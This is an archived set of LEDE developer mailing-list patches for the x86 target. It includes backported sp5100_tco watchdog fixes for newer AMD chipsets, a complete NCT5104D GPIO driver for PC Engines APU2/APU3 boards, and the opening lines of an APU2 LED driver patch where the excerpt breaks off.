+From 190aa4304de6fe2185d96392ddf56580fa133e99 Mon Sep 17 00:00:00 2001
+From: Denis Turischev <denis.turischev at compulab.co.il>
+Date: Tue, 24 Nov 2015 10:46:12 +0200
+Subject: [PATCH] sp5100_tco: Add AMD Mullins platform support
+
+AMD Mullins watchdog is fully compatible to the previous Hudson chipset,
+reuse the existent sp5100_tco driver.
+
+Signed-off-by: Denis Turischev <denis.turischev at compulab.co.il>
+Signed-off-by: Guenter Roeck <linux at roeck-us.net>
+Signed-off-by: Wim Van Sebroeck <wim at iguana.be>
+---
+ drivers/watchdog/sp5100_tco.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/drivers/watchdog/sp5100_tco.c b/drivers/watchdog/sp5100_tco.c
+index eb8044e..ef039f8 100644
+--- a/drivers/watchdog/sp5100_tco.c
++++ b/drivers/watchdog/sp5100_tco.c
+@@ -306,6 +306,8 @@ static struct miscdevice sp5100_tco_miscdev = {
+ static const struct pci_device_id sp5100_tco_pci_tbl[] = {
+ 	{ PCI_VENDOR_ID_ATI, PCI_DEVICE_ID_ATI_SBX00_SMBUS, PCI_ANY_ID,
+ 	  PCI_ANY_ID, },
++	{ PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_HUDSON2_SMBUS, PCI_ANY_ID,
++	  PCI_ANY_ID, },
+ 	{ 0, },			/* End of list */
+ };
+ MODULE_DEVICE_TABLE(pci, sp5100_tco_pci_tbl);
+--
+2.7.4
diff --git a/target/linux/x86/patches-4.4/097-0002-sp5100_tco-Add-AMD-Carrizo-platform-support.patch b/target/linux/x86/patches-4.4/097-0002-sp5100_tco-Add-AMD-Carrizo-platform-support.patch
new file mode 100644
index 0000000..664d4bb
--- /dev/null
+++ b/target/linux/x86/patches-4.4/097-0002-sp5100_tco-Add-AMD-Carrizo-platform-support.patch
@@ -0,0 +1,31 @@
+From cca118fa2a0a94e0f0b3c8dd1dda922cdee45089 Mon Sep 17 00:00:00 2001
+From: Huang Rui <ray.huang at amd.com>
+Date: Mon, 23 Nov 2015 18:07:36 +0800
+Subject: [PATCH] sp5100_tco: Add AMD Carrizo platform support
+
+sp5100_tco watchdog is also supported on AMD KernCZ chipset of Carrizo
+platform.
+
+Signed-off-by: Huang Rui <ray.huang at amd.com>
+Cc: Denis Turischev <denis.turischev at compulab.co.il>
+Signed-off-by: Guenter Roeck <linux at roeck-us.net>
+Signed-off-by: Wim Van Sebroeck <wim at iguana.be>
+---
+ drivers/watchdog/sp5100_tco.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/drivers/watchdog/sp5100_tco.c b/drivers/watchdog/sp5100_tco.c
+index ef039f8..0ccadb4 100644
+--- a/drivers/watchdog/sp5100_tco.c
++++ b/drivers/watchdog/sp5100_tco.c
+@@ -308,6 +308,8 @@ static const struct pci_device_id sp5100_tco_pci_tbl[] = {
+ 	  PCI_ANY_ID, },
+ 	{ PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_HUDSON2_SMBUS, PCI_ANY_ID,
+ 	  PCI_ANY_ID, },
++	{ PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_KERNCZ_SMBUS, PCI_ANY_ID,
++	  PCI_ANY_ID, },
+ 	{ 0, },			/* End of list */
+ };
+ MODULE_DEVICE_TABLE(pci, sp5100_tco_pci_tbl);
+--
+2.7.4
diff --git a/target/linux/x86/patches-4.4/097-0003-sp5100_tco-fix-the-device-check-for-SB800-and-later-chipsets.patch b/target/linux/x86/patches-4.4/097-0003-sp5100_tco-fix-the-device-check-for-SB800-and-later-chipsets.patch
new file mode 100644
index 0000000..e9f4513
--- /dev/null
+++ b/target/linux/x86/patches-4.4/097-0003-sp5100_tco-fix-the-device-check-for-SB800-and-later-chipsets.patch
@@ -0,0 +1,80 @@
+From bdecfcdb5461834aab24002bb18d3cbdd907b7fb Mon Sep 17 00:00:00 2001
+From: Huang Rui <ray.huang at amd.com>
+Date: Mon, 23 Nov 2015 18:07:35 +0800
+Subject: [PATCH] sp5100_tco: fix the device check for SB800 and later chipsets
+
+For SB800 and later chipsets, the register definitions are the same
+with SB800. And for SB700 and older chipsets, the definitions should
+be same with SP5100/SB7x0.
+
+Signed-off-by: Huang Rui <ray.huang at amd.com>
+Cc: Denis Turischev <denis.turischev at compulab.co.il>
+Signed-off-by: Guenter Roeck <linux at roeck-us.net>
+Signed-off-by: Wim Van Sebroeck <wim at iguana.be>
+---
+ drivers/watchdog/sp5100_tco.c | 28 ++++++++++++++++------------
+ 1 file changed, 16 insertions(+), 12 deletions(-)
+
+diff --git a/drivers/watchdog/sp5100_tco.c b/drivers/watchdog/sp5100_tco.c
+index 0ccadb4..6467b91 100644
+--- a/drivers/watchdog/sp5100_tco.c
++++ b/drivers/watchdog/sp5100_tco.c
+@@ -335,21 +335,24 @@ static unsigned char sp5100_tco_setupdevice(void)
+ 	if (!sp5100_tco_pci)
+ 		return 0;
+
+-	pr_info("PCI Revision ID: 0x%x\n", sp5100_tco_pci->revision);
++	pr_info("PCI Vendor ID: 0x%x, Device ID: 0x%x, Revision ID: 0x%x\n",
++		sp5100_tco_pci->vendor, sp5100_tco_pci->device,
++		sp5100_tco_pci->revision);
+
+ 	/*
+ 	 * Determine type of southbridge chipset.
+ 	 */
+-	if (sp5100_tco_pci->revision >= 0x40) {
+-		dev_name = SB800_DEVNAME;
+-		index_reg = SB800_IO_PM_INDEX_REG;
+-		data_reg = SB800_IO_PM_DATA_REG;
+-		base_addr = SB800_PM_WATCHDOG_BASE;
+-	} else {
++	if (sp5100_tco_pci->device == PCI_DEVICE_ID_ATI_SBX00_SMBUS &&
++	    sp5100_tco_pci->revision < 0x40) {
+ 		dev_name = SP5100_DEVNAME;
+ 		index_reg = SP5100_IO_PM_INDEX_REG;
+ 		data_reg = SP5100_IO_PM_DATA_REG;
+ 		base_addr = SP5100_PM_WATCHDOG_BASE;
++	} else {
++		dev_name = SB800_DEVNAME;
++		index_reg = SB800_IO_PM_INDEX_REG;
++		data_reg = SB800_IO_PM_DATA_REG;
++		base_addr = SB800_PM_WATCHDOG_BASE;
+ 	}
+
+ 	/* Request the IO ports used by this driver */
+@@ -385,7 +388,12 @@ static unsigned char sp5100_tco_setupdevice(void)
+ 	 * Secondly, Find the watchdog timer MMIO address
+ 	 * from SBResource_MMIO register.
+ 	 */
+-	if (sp5100_tco_pci->revision >= 0x40) {
++	if (sp5100_tco_pci->device == PCI_DEVICE_ID_ATI_SBX00_SMBUS &&
++	    sp5100_tco_pci->revision < 0x40) {
++		/* Read SBResource_MMIO from PCI config(PCI_Reg: 9Ch) */
++		pci_read_config_dword(sp5100_tco_pci,
++				      SP5100_SB_RESOURCE_MMIO_BASE, &val);
++	} else {
+ 		/* Read SBResource_MMIO from AcpiMmioEn(PM_Reg: 24h) */
+ 		outb(SB800_PM_ACPI_MMIO_EN+3, SB800_IO_PM_INDEX_REG);
+ 		val = inb(SB800_IO_PM_DATA_REG);
+@@ -395,10 +403,6 @@ static unsigned char sp5100_tco_setupdevice(void)
+ 		val = val << 8 | inb(SB800_IO_PM_DATA_REG);
+ 		outb(SB800_PM_ACPI_MMIO_EN+0, SB800_IO_PM_INDEX_REG);
+ 		val = val << 8 | inb(SB800_IO_PM_DATA_REG);
+-	} else {
+-		/* Read SBResource_MMIO from PCI config(PCI_Reg: 9Ch) */
+-		pci_read_config_dword(sp5100_tco_pci,
+-				      SP5100_SB_RESOURCE_MMIO_BASE, &val);
+ 	}
+
+ 	/* The SBResource_MMIO is enabled and mapped memory space? */
+--
+2.7.4
diff --git a/target/linux/x86/patches-4.4/097-0004-watchdog-sp5100_tco-properly-check-for-new-register-.patch b/target/linux/x86/patches-4.4/097-0004-watchdog-sp5100_tco-properly-check-for-new-register-.patch
new file mode 100644
index 0000000..cb7fe98
--- /dev/null
+++ b/target/linux/x86/patches-4.4/097-0004-watchdog-sp5100_tco-properly-check-for-new-register-.patch
@@ -0,0 +1,76 @@
+From 46856fabe40cc80f92134683cdec7dc0fc8f4000 Mon Sep 17 00:00:00 2001
+From: Lucas Stach <dev at lynxeye.de>
+Date: Tue, 3 May 2016 19:15:58 +0200
+Subject: [PATCH] watchdog: sp5100_tco: properly check for new register layouts
+
+Commits 190aa4304de6 (Add AMD Mullins platform support) and
+cca118fa2a0a94 (Add AMD Carrizo platform support) enabled the
+driver on a lot more devices, but the following commit missed
+a single location in the code when checking if the SB800 register
+offsets should be used. This leads to the wrong register being
+written which in turn causes ACPI to go haywire.
+
+Fix this by introducing a helper function to check for the new
+register layout and use this consistently.
+
+https://bugzilla.kernel.org/show_bug.cgi?id=114201
+https://bugzilla.redhat.com/show_bug.cgi?id=1329910
+Fixes: bdecfcdb5461 (sp5100_tco: fix the device check for SB800
+and later chipsets)
+Cc: stable at vger.kernel.org (4.5+)
+Signed-off-by: Lucas Stach <dev at lynxeye.de>
+Signed-off-by: Guenter Roeck <linux at roeck-us.net>
+Signed-off-by: Wim Van Sebroeck <wim at iguana.be>
+---
+ drivers/watchdog/sp5100_tco.c | 15 ++++++++++-----
+ 1 file changed, 10 insertions(+), 5 deletions(-)
+
+diff --git a/drivers/watchdog/sp5100_tco.c b/drivers/watchdog/sp5100_tco.c
+index 6467b91..028618c 100644
+--- a/drivers/watchdog/sp5100_tco.c
++++ b/drivers/watchdog/sp5100_tco.c
+@@ -73,6 +73,13 @@ MODULE_PARM_DESC(nowayout, "Watchdog cannot be stopped once started."
+ /*
+  * Some TCO specific functions
+  */
++
++static bool tco_has_sp5100_reg_layout(struct pci_dev *dev)
++{
++	return dev->device == PCI_DEVICE_ID_ATI_SBX00_SMBUS &&
++	       dev->revision < 0x40;
++}
++
+ static void tco_timer_start(void)
+ {
+ 	u32 val;
+@@ -129,7 +136,7 @@ static void tco_timer_enable(void)
+ {
+ 	int val;
+
+-	if (sp5100_tco_pci->revision >= 0x40) {
++	if (!tco_has_sp5100_reg_layout(sp5100_tco_pci)) {
+ 		/* For SB800 or later */
+ 		/* Set the Watchdog timer resolution to 1 sec */
+ 		outb(SB800_PM_WATCHDOG_CONFIG, SB800_IO_PM_INDEX_REG);
+@@ -342,8 +349,7 @@ static unsigned char sp5100_tco_setupdevice(void)
+ 	/*
+ 	 * Determine type of southbridge chipset.
+ 	 */
+-	if (sp5100_tco_pci->device == PCI_DEVICE_ID_ATI_SBX00_SMBUS &&
+-	    sp5100_tco_pci->revision < 0x40) {
++	if (tco_has_sp5100_reg_layout(sp5100_tco_pci)) {
+ 		dev_name = SP5100_DEVNAME;
+ 		index_reg = SP5100_IO_PM_INDEX_REG;
+ 		data_reg = SP5100_IO_PM_DATA_REG;
+@@ -388,8 +394,7 @@ static unsigned char sp5100_tco_setupdevice(void)
+ 	 * Secondly, Find the watchdog timer MMIO address
+ 	 * from SBResource_MMIO register.
+ 	 */
+-	if (sp5100_tco_pci->device == PCI_DEVICE_ID_ATI_SBX00_SMBUS &&
+-	    sp5100_tco_pci->revision < 0x40) {
++	if (tco_has_sp5100_reg_layout(sp5100_tco_pci)) {
+ 		/* Read SBResource_MMIO from PCI config(PCI_Reg: 9Ch) */
+ 		pci_read_config_dword(sp5100_tco_pci,
+ 				      SP5100_SB_RESOURCE_MMIO_BASE, &val);
+--
+2.7.4
-- 
2.7.4



From chrisrblake93 at gmail.com  Sat Jan 14 08:20:26 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Sat, 14 Jan 2017 10:20:26 -0600
Subject: [LEDE-DEV] [PATCH 3/4] x86: Add NCT5104D GPIO driver
In-Reply-To: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
Message-ID: <1484410827-30973-3-git-send-email-chrisrblake93@gmail.com>

The following patch is to add driver support for the NCT5104D GPIO Super
I/O chip which is found on the PC Engines APU2/APU3 boards.

Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
---
 target/linux/x86/64/config-default                 |   9 +
 .../linux/x86/files/drivers/gpio/gpio-nct5104d.c   | 461 +++++++++++++++++++++
 .../patches-4.4/801-add-nct5104d-gpio-driver.patch |  28 ++
 3 files changed, 498 insertions(+)
 create mode 100644 target/linux/x86/files/drivers/gpio/gpio-nct5104d.c
 create mode 100644 target/linux/x86/patches-4.4/801-add-nct5104d-gpio-driver.patch

diff --git a/target/linux/x86/64/config-default b/target/linux/x86/64/config-default
index 791c1f2..d2e2774 100644
--- a/target/linux/x86/64/config-default
+++ b/target/linux/x86/64/config-default
@@ -109,6 +109,15 @@ CONFIG_GART_IOMMU=y
 CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y
 CONFIG_GENERIC_CPU=y
 CONFIG_GENERIC_PENDING_IRQ=y
+CONFIG_GPIOLIB=y
+# CONFIG_GPIO_104_IDIO_16 is not set
+# CONFIG_GPIO_AMDPT is not set
+# CONFIG_GPIO_F7188X is not set
+# CONFIG_GPIO_INTEL_MID is not set
+# CONFIG_GPIO_IT87 is not set
+# CONFIG_GPIO_LYNXPOINT is not set
+CONFIG_GPIO_NCT5104D=y
+CONFIG_GPIO_SYSFS=y
 CONFIG_HAVE_ACPI_APEI=y
 CONFIG_HAVE_ACPI_APEI_NMI=y
 # CONFIG_HAVE_AOUT is not set
diff --git a/target/linux/x86/files/drivers/gpio/gpio-nct5104d.c b/target/linux/x86/files/drivers/gpio/gpio-nct5104d.c
new file mode 100644
index 0000000..a37a1d0
--- /dev/null
+++ b/target/linux/x86/files/drivers/gpio/gpio-nct5104d.c
@@ -0,0 +1,461 @@
+/*
+ * GPIO driver for NCT5104D
+ *
+ * Author: Tasanakorn Phaipool <tasanakorn at gmail.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ */
+
+#include <linux/module.h>
+#include <linux/init.h>
+#include <linux/platform_device.h>
+#include <linux/io.h>
+#include <linux/gpio.h>
+#include <linux/version.h>
+#include <linux/dmi.h>
+#include <linux/string.h>
+
+#define DRVNAME "gpio-nct5104d"
+
+/*
+ * Super-I/O registers
+ */
+#define SIO_LDSEL		0x07	/* Logical device select */
+#define SIO_CHIPID		0x20	/* Chaip ID (2 bytes) */
+#define SIO_GPIO_ENABLE	0x30	/* GPIO enable */
+#define SIO_GPIO1_MODE		0xE0	/* GPIO1 Mode OpenDrain/Push-Pull */
+#define SIO_GPIO2_MODE		0xE1	/* GPIO2 Mode OpenDrain/Push-Pull */
+
+#define SIO_LD_GPIO		0x07	/* GPIO logical device */
+#define SIO_LD_GPIO_MODE	0x0F	/* GPIO mode control device */
+#define SIO_UNLOCK_KEY		0x87	/* Key to enable Super-I/O */
+#define SIO_LOCK_KEY		0xAA	/* Key to disable Super-I/O */
+
+#define SIO_NCT5104D_ID					0x1061	/* Chip ID */
+#define SIO_PCENGINES_APU_NCT5104D_ID	0xc452	/* Chip ID */
+
+enum chips { nct5104d };
+
+static const char * const nct5104d_names[] = {
+	"nct5104d"
+};
+
+struct nct5104d_sio {
+	int addr;
+	enum chips type;
+};
+
+struct nct5104d_gpio_bank {
+	struct gpio_chip chip;
+	unsigned int regbase;
+	struct nct5104d_gpio_data *data;
+};
+
+struct nct5104d_gpio_data {
+	struct nct5104d_sio *sio;
+	int nr_bank;
+	struct nct5104d_gpio_bank *bank;
+};
+
+/*
+ * Super-I/O functions.
+ */
+
+static inline int superio_inb(int base, int reg)
+{
+	outb(reg, base);
+	return inb(base + 1);
+}
+
+static int superio_inw(int base, int reg)
+{
+	int val;
+
+	outb(reg++, base);
+	val = inb(base + 1) << 8;
+	outb(reg, base);
+	val |= inb(base + 1);
+
+	return val;
+}
+
+static inline void superio_outb(int base, int reg, int val)
+{
+	outb(reg, base);
+	outb(val, base + 1);
+}
+
+static inline int superio_enter(int base)
+{
+	/* Don't step on other drivers' I/O space by accident. */
+	if (!request_muxed_region(base, 2, DRVNAME)) {
+		pr_err(DRVNAME "I/O address 0x%04x already in use\n", base);
+		return -EBUSY;
+	}
+
+	/* According to the datasheet the key must be send twice. */
+	outb(SIO_UNLOCK_KEY, base);
+	outb(SIO_UNLOCK_KEY, base);
+
+	return 0;
+}
+
+static inline void superio_select(int base, int ld)
+{
+	outb(SIO_LDSEL, base);
+	outb(ld, base + 1);
+}
+
+static inline void superio_exit(int base)
+{
+	outb(SIO_LOCK_KEY, base);
+	release_region(base, 2);
+}
+
+/*
+ * GPIO chip.
+ */
+
+static int nct5104d_gpio_direction_in(struct gpio_chip *chip, unsigned offset);
+static int nct5104d_gpio_get(struct gpio_chip *chip, unsigned offset);
+static int nct5104d_gpio_direction_out(struct gpio_chip *chip,
+				     unsigned offset, int value);
+static void nct5104d_gpio_set(struct gpio_chip *chip, unsigned offset, int value);
+
+#define NCT5104D_GPIO_BANK(_base, _ngpio, _regbase)			\
+	{								\
+		.chip = {						\
+			.label            = DRVNAME,			\
+			.owner            = THIS_MODULE,		\
+			.direction_input  = nct5104d_gpio_direction_in,	\
+			.get              = nct5104d_gpio_get,		\
+			.direction_output = nct5104d_gpio_direction_out,	\
+			.set              = nct5104d_gpio_set,		\
+			.base             = _base,			\
+			.ngpio            = _ngpio,			\
+			.can_sleep        = true,			\
+		},							\
+		.regbase = _regbase,					\
+	}
+
+#define gpio_dir(base) (base + 0)
+#define gpio_data(base) (base + 1)
+
+static struct nct5104d_gpio_bank nct5104d_gpio_bank[] = {
+	NCT5104D_GPIO_BANK(0 , 8, 0xE0),
+	NCT5104D_GPIO_BANK(10, 8, 0xE4)
+};
+
+static int nct5104d_gpio_direction_in(struct gpio_chip *chip, unsigned offset)
+{
+	int err;
+	struct nct5104d_gpio_bank *bank =
+		container_of(chip, struct nct5104d_gpio_bank, chip);
+	struct nct5104d_sio *sio = bank->data->sio;
+	u8 dir;
+
+	err = superio_enter(sio->addr);
+	if (err)
+		return err;
+	superio_select(sio->addr, SIO_LD_GPIO);
+
+	dir = superio_inb(sio->addr, gpio_dir(bank->regbase));
+	dir |= (1 << offset);
+	superio_outb(sio->addr, gpio_dir(bank->regbase), dir);
+
+	superio_exit(sio->addr);
+
+	return 0;
+}
+
+static int nct5104d_gpio_get(struct gpio_chip *chip, unsigned offset)
+{
+	int err;
+	struct nct5104d_gpio_bank *bank =
+		container_of(chip, struct nct5104d_gpio_bank, chip);
+	struct nct5104d_sio *sio = bank->data->sio;
+	u8 data;
+
+	err = superio_enter(sio->addr);
+	if (err)
+		return err;
+	superio_select(sio->addr, SIO_LD_GPIO);
+
+	data = superio_inb(sio->addr, gpio_data(bank->regbase));
+
+	superio_exit(sio->addr);
+
+	return !!(data & 1 << offset);
+}
+
+static int nct5104d_gpio_direction_out(struct gpio_chip *chip,
+				     unsigned offset, int value)
+{
+	int err;
+	struct nct5104d_gpio_bank *bank =
+		container_of(chip, struct nct5104d_gpio_bank, chip);
+	struct nct5104d_sio *sio = bank->data->sio;
+	u8 dir, data_out;
+
+	err = superio_enter(sio->addr);
+	if (err)
+		return err;
+	superio_select(sio->addr, SIO_LD_GPIO);
+
+	data_out = superio_inb(sio->addr, gpio_data(bank->regbase));
+	if (value)
+		data_out |= (1 << offset);
+	else
+		data_out &= ~(1 << offset);
+	superio_outb(sio->addr, gpio_data(bank->regbase), data_out);
+
+	dir = superio_inb(sio->addr, gpio_dir(bank->regbase));
+	dir &= ~(1 << offset);
+	superio_outb(sio->addr, gpio_dir(bank->regbase), dir);
+
+	superio_exit(sio->addr);
+
+	return 0;
+}
+
+static void nct5104d_gpio_set(struct gpio_chip *chip, unsigned offset, int value)
+{
+	int err;
+	struct nct5104d_gpio_bank *bank =
+		container_of(chip, struct nct5104d_gpio_bank, chip);
+	struct nct5104d_sio *sio = bank->data->sio;
+	u8 data_out;
+
+	err = superio_enter(sio->addr);
+	if (err)
+		return;
+	superio_select(sio->addr, SIO_LD_GPIO);
+
+	data_out = superio_inb(sio->addr, gpio_data(bank->regbase));
+	if (value)
+		data_out |= (1 << offset);
+	else
+		data_out &= ~(1 << offset);
+	superio_outb(sio->addr, gpio_data(bank->regbase), data_out);
+
+	superio_exit(sio->addr);
+}
+
+/*
+ * Platform device and driver.
+ */
+
+static int nct5104d_gpio_probe(struct platform_device *pdev)
+{
+	int err;
+	int i;
+	struct nct5104d_sio *sio = pdev->dev.platform_data;
+	struct nct5104d_gpio_data *data;
+
+	data = devm_kzalloc(&pdev->dev, sizeof(*data), GFP_KERNEL);
+	if (!data)
+		return -ENOMEM;
+
+	switch (sio->type) {
+	case nct5104d:
+		data->nr_bank = ARRAY_SIZE(nct5104d_gpio_bank);
+		data->bank = nct5104d_gpio_bank;
+		break;
+	default:
+		return -ENODEV;
+	}
+	data->sio = sio;
+
+	platform_set_drvdata(pdev, data);
+
+	/* For each GPIO bank, register a GPIO chip. */
+	for (i = 0; i < data->nr_bank; i++) {
+		struct nct5104d_gpio_bank *bank = &data->bank[i];
+
+		bank->chip.dev = &pdev->dev;
+		bank->data = data;
+
+		err = gpiochip_add(&bank->chip);
+		if (err) {
+			dev_err(&pdev->dev,
+				"Failed to register gpiochip %d: %d\n",
+				i, err);
+			goto err_gpiochip;
+		}
+	}
+
+	return 0;
+
+err_gpiochip:
+	for (i = i - 1; i >= 0; i--) {
+		struct nct5104d_gpio_bank *bank = &data->bank[i];
+
+#if LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0)
+		int rm_err = gpiochip_remove(&bank->chip);
+		if (rm_err < 0)
+			dev_err(&pdev->dev,
+				"Failed to remove gpiochip %d: %d\n",
+				i, rm_err);
+#else /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+		gpiochip_remove (&bank->chip);
+#endif /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+	}
+
+	return err;
+}
+
+static int nct5104d_gpio_remove(struct platform_device *pdev)
+{
+	int i;
+	struct nct5104d_gpio_data *data = platform_get_drvdata(pdev);
+
+	for (i = 0; i < data->nr_bank; i++) {
+		struct nct5104d_gpio_bank *bank = &data->bank[i];
+
+#if LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0)
+		int err = gpiochip_remove(&bank->chip);
+		if (err) {
+			dev_err(&pdev->dev,
+				"Failed to remove GPIO gpiochip %d: %d\n",
+				i, err);
+			return err;
+		}
+#else /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+		gpiochip_remove (&bank->chip);
+#endif /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+	}
+
+	return 0;
+}
+
+static int __init nct5104d_find(int addr, struct nct5104d_sio *sio)
+{
+	int err;
+	u16 devid;
+	u8 gpio_cfg;
+
+	err = superio_enter(addr);
+	if (err)
+		return err;
+
+	err = -ENODEV;
+
+	devid = superio_inw(addr, SIO_CHIPID);
+	switch (devid) {
+	case SIO_NCT5104D_ID:
+	case SIO_PCENGINES_APU_NCT5104D_ID:
+		sio->type = nct5104d;
+		/* enable GPIO0 and GPIO1 */
+		superio_select(addr, SIO_LD_GPIO);
+		gpio_cfg = superio_inb(addr, SIO_GPIO_ENABLE);
+		gpio_cfg |= 0x03;
+		superio_outb(addr, SIO_GPIO_ENABLE, gpio_cfg);
+		break;
+	default:
+		pr_info(DRVNAME ": Unsupported device 0x%04x\n", devid);
+		goto err;
+	}
+	sio->addr = addr;
+	err = 0;
+
+	pr_info(DRVNAME ": Found %s at %#x chip id 0x%04x\n",
+		nct5104d_names[sio->type],
+		(unsigned int) addr,
+		(int) superio_inw(addr, SIO_CHIPID));
+
+        superio_select(sio->addr, SIO_LD_GPIO_MODE);
+        superio_outb(sio->addr, SIO_GPIO1_MODE, 0x0);
+        superio_outb(sio->addr, SIO_GPIO2_MODE, 0x0);
+
+err:
+	superio_exit(addr);
+	return err;
+}
+
+static struct platform_device *nct5104d_gpio_pdev;
+
+static int __init
+nct5104d_gpio_device_add(const struct nct5104d_sio *sio)
+{
+	int err;
+
+	nct5104d_gpio_pdev = platform_device_alloc(DRVNAME, -1);
+	if (!nct5104d_gpio_pdev)
+		pr_err(DRVNAME ": Error platform_device_alloc\n");
+	if (!nct5104d_gpio_pdev)
+		return -ENOMEM;
+
+	err = platform_device_add_data(nct5104d_gpio_pdev,
+				       sio, sizeof(*sio));
+	if (err) {
+		pr_err(DRVNAME "Platform data allocation failed\n");
+		goto err;
+	}
+
+	err = platform_device_add(nct5104d_gpio_pdev);
+	if (err) {
+		pr_err(DRVNAME "Device addition failed\n");
+		goto err;
+	}
+	pr_info(DRVNAME ": Device added\n");
+	return 0;
+
+err:
+	platform_device_put(nct5104d_gpio_pdev);
+
+	return err;
+}
+
+/*
+ */
+
+static struct platform_driver nct5104d_gpio_driver = {
+	.driver = {
+		.owner	= THIS_MODULE,
+		.name	= DRVNAME,
+	},
+	.probe		= nct5104d_gpio_probe,
+	.remove		= nct5104d_gpio_remove,
+};
+
+static int __init nct5104d_gpio_init(void)
+{
+	int err;
+	struct nct5104d_sio sio;
+	const char *board_vendor = dmi_get_system_info(DMI_BOARD_VENDOR);
+	const char *board_name = dmi_get_system_info(DMI_BOARD_NAME);
+
+ 	/* Make sure we only run on PC Engine APU boards */
+	if (!board_name || !board_vendor || strcasecmp(board_vendor, "PC Engines") || strncasecmp(board_name, "apu", 3)) {
+		return -ENODEV;
+	}
+
+	if (nct5104d_find(0x2e, &sio) &&
+	    nct5104d_find(0x4e, &sio))
+		return -ENODEV;
+
+	err = platform_driver_register(&nct5104d_gpio_driver);
+	if (!err) {
+		pr_info(DRVNAME ": platform_driver_register\n");
+		err = nct5104d_gpio_device_add(&sio);
+		if (err)
+			platform_driver_unregister(&nct5104d_gpio_driver);
+	}
+
+	return err;
+}
+subsys_initcall(nct5104d_gpio_init);
+
+static void __exit nct5104d_gpio_exit(void)
+{
+	platform_device_unregister(nct5104d_gpio_pdev);
+	platform_driver_unregister(&nct5104d_gpio_driver);
+}
+module_exit(nct5104d_gpio_exit);
+
+MODULE_DESCRIPTION("GPIO driver for Super-I/O chips NCT5104D");
+MODULE_AUTHOR("Tasanakorn Phaipool <tasanakorn at gmail.com>");
+MODULE_LICENSE("GPL");
diff --git a/target/linux/x86/patches-4.4/801-add-nct5104d-gpio-driver.patch b/target/linux/x86/patches-4.4/801-add-nct5104d-gpio-driver.patch
new file mode 100644
index 0000000..7e3bfb3
--- /dev/null
+++ b/target/linux/x86/patches-4.4/801-add-nct5104d-gpio-driver.patch
@@ -0,0 +1,28 @@
+--- a/drivers/gpio/Kconfig	2016-09-15 01:29:29.000000000 -0500
++++ b/drivers/gpio/Kconfig	2016-09-26 02:29:15.714674624 -0500
+@@ -307,6 +307,14 @@
+ 	select GPIO_GENERIC
+ 	select GENERIC_IRQ_CHIP
+
++config GPIO_NCT5104D
++	tristate "NCT5104D GPIO support"
++	depends on X86 # unconditional access to IO space.
++	select GPIO_GENERIC
++   help
++     Say yes here to support GPIO functionality of NCT5104D super I/O chip on
++     PC Engine APU boards.
++
+ config GPIO_OCTEON
+ 	tristate "Cavium OCTEON GPIO"
+ 	depends on GPIOLIB && CAVIUM_OCTEON_SOC
+diff -Naur ./a/Makefile ./b/Makefile
+--- a/drivers/gpio/Makefile	2016-09-15 01:29:29.000000000 -0500
++++ b/drivers/gpio/Makefile	2016-09-26 02:25:57.807051231 -0500
+@@ -69,6 +69,7 @@
+ obj-$(CONFIG_GPIO_MVEBU)        += gpio-mvebu.o
+ obj-$(CONFIG_GPIO_MXC)		+= gpio-mxc.o
+ obj-$(CONFIG_GPIO_MXS)		+= gpio-mxs.o
++obj-$(CONFIG_GPIO_NCT5104D)		+= gpio-nct5104d.o
+ obj-$(CONFIG_GPIO_OCTEON)	+= gpio-octeon.o
+ obj-$(CONFIG_GPIO_OMAP)		+= gpio-omap.o
+ obj-$(CONFIG_GPIO_PCA953X)	+= gpio-pca953x.o
-- 
2.7.4



From chrisrblake93 at gmail.com  Sat Jan 14 08:20:27 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Sat, 14 Jan 2017 10:20:27 -0600
Subject: [LEDE-DEV] [PATCH 4/4] x86: Add APU2 LED Driver
In-Reply-To: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
Message-ID: <1484410827-30973-4-git-send-email-chrisrblake93@gmail.com>

The following patch adds LED support for the PC Engines APU2/APU3 board
on LEDE.

Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
---
 target/linux/x86/64/config-default                 |   2 +
 target/linux/x86/files/drivers/leds/leds-apu2.c    | 374 +++++++++++++++++++++
 .../x86/patches-4.4/800-add-apu2-led-driver.patch  |  30 ++
 3 files changed, 406 insertions(+)
 create mode 100644 target/linux/x86/files/drivers/leds/leds-apu2.c
 create mode 100644 target/linux/x86/patches-4.4/800-add-apu2-led-driver.patch

diff --git a/target/linux/x86/64/config-default b/target/linux/x86/64/config-default
index d2e2774..5657832 100644
--- a/target/linux/x86/64/config-default
+++ b/target/linux/x86/64/config-default
@@ -170,6 +170,8 @@ CONFIG_ITCO_WDT=y
 # CONFIG_KVM_DEBUG_FS is not set
 CONFIG_KVM_GUEST=y
 # CONFIG_LCD_CLASS_DEVICE is not set
+CONFIG_LEDS_APU2=y
+CONFIG_LEDS_GPIO=y
 # CONFIG_LEGACY_VSYSCALL_EMULATE is not set
 # CONFIG_LEGACY_VSYSCALL_NATIVE is not set
 CONFIG_LEGACY_VSYSCALL_NONE=y
diff --git a/target/linux/x86/files/drivers/leds/leds-apu2.c b/target/linux/x86/files/drivers/leds/leds-apu2.c
new file mode 100644
index 0000000..8da8a2d
--- /dev/null
+++ b/target/linux/x86/files/drivers/leds/leds-apu2.c
@@ -0,0 +1,374 @@
+/*
+ *  APU2 LED/GPIO Driver
